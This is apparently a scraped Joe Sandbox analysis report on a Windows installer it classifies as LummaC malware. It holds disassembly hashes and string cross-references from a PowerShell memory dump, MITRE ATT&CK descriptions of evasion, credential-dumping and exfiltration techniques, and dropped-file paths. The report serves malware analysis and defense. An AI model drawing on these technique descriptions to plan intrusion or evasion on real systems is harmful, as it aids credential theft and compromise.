$^q, xrefs: 07A117AA
tP^q, xrefs: 07A11815
4'^q, xrefs: 07A119A5
$^q, xrefs: 07A117D0
$^q, xrefs: 07A117DC
tP^q, xrefs: 07A11821
4'^q, xrefs: 07A11999

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: 9543145fff647bf7e6f6fffb6de63c0b73f075126cf259f602787d0e250a4971
Instruction ID: 4c8b37e9ef226d2abcc312a3635c966f8bfcec0d94b57c927f4605d51284c472
Opcode Fuzzy Hash: 9543145fff647bf7e6f6fffb6de63c0b73f075126cf259f602787d0e250a4971
Instruction Fuzzy Hash: 77715AB1B042198FE7248B69C40476ABBF6EFC6310F1484AEE665CF361DA32C845C791

Function 07A114E8 Relevance: 6.4, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07A11592
$^q, xrefs: 07A116A6
$^q, xrefs: 07A1166F
4'^q, xrefs: 07A1159E
$^q, xrefs: 07A1169A

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 0542390817e9e570197e6b599ed228809c62b64a010fbf87f084201d204d3dcd
Instruction ID: ac64bca652286f15ef4f76a441c102a8dd7b14d3f2f683d7fa7cad31d9147ea8
Opcode Fuzzy Hash: 0542390817e9e570197e6b599ed228809c62b64a010fbf87f084201d204d3dcd
Instruction Fuzzy Hash: 59514CB170430E8FE7259B6DD41076ABBF6AFC2220F18847BD676CB251DA36C845C752

Function 07A132D8 Relevance: 5.2, Strings: 4, Instructions: 198COMMON

Download Yara Rule

Strings

_, xrefs: 07A133BA
tP^q, xrefs: 07A13388
tP^q, xrefs: 07A1337C
$^q, xrefs: 07A132EC

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID: _$tP^q$tP^q$$^q
API String ID: 0-4252916890
Opcode ID: ae21fc5b6f049490880548946c57f7a429b450af4b3aebef229c9dfa7daf4738
Instruction ID: 2aa21ba39faef340bdea9fb06e0b1911a9bef4af8a8daafff651a2e8a25d1c85
Opcode Fuzzy Hash: ae21fc5b6f049490880548946c57f7a429b450af4b3aebef229c9dfa7daf4738
Instruction Fuzzy Hash: D2517AB1B043459FEF299F699C44B6ABFA69FC5311F14807AE425DF291CA71C844C361

Function 07A13518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A13546
$^q, xrefs: 07A13574
$^q, xrefs: 07A13580
$^q, xrefs: 07A1352A

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: e3f9d0fa04c29eea6feeef2d29f7584948fd179805269127645a19dcffb79aa6
Instruction ID: 46bbafdbe7cc36b1d3f556d5dd6d9594115f2bea7d90d724e2b2707cf1543157
Opcode Fuzzy Hash: e3f9d0fa04c29eea6feeef2d29f7584948fd179805269127645a19dcffb79aa6
Instruction Fuzzy Hash: 672127B17003069FFF385E6E9820B27BEDA5BC1B34F24842AE569CF385DD76C8458261

Function 07A10571 Relevance: 5.0, Strings: 4, Instructions: 45COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07A105DB
$^q, xrefs: 07A105C6
$^q, xrefs: 07A105BA
4'^q, xrefs: 07A105E7

Memory Dump Source

Source File: 00000011.00000002.2143954865.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7a10000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 52c84cb34c1446f3a34faa0e5dff5ac606a8e6b2458b1643019ef5abb122098e
Instruction ID: 1b23aae995f80d8e862c3fdece512d3a36329792b5a307c2b2dfeeb488d2df3d
Opcode Fuzzy Hash: 52c84cb34c1446f3a34faa0e5dff5ac606a8e6b2458b1643019ef5abb122098e
Instruction Fuzzy Hash: 930126B1B483858FD72E472858347167BF26FD2550B1A84ABC051DF3A7CD268C85C352

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report installer_1.05_36.8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\d

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Brandon

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Briefs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Cache

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Chrome

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Contract

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Coordinate

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Crimes

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Dependent

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Develops

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Gilbert

Windows Analysis Report
installer_1.05_36.8.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre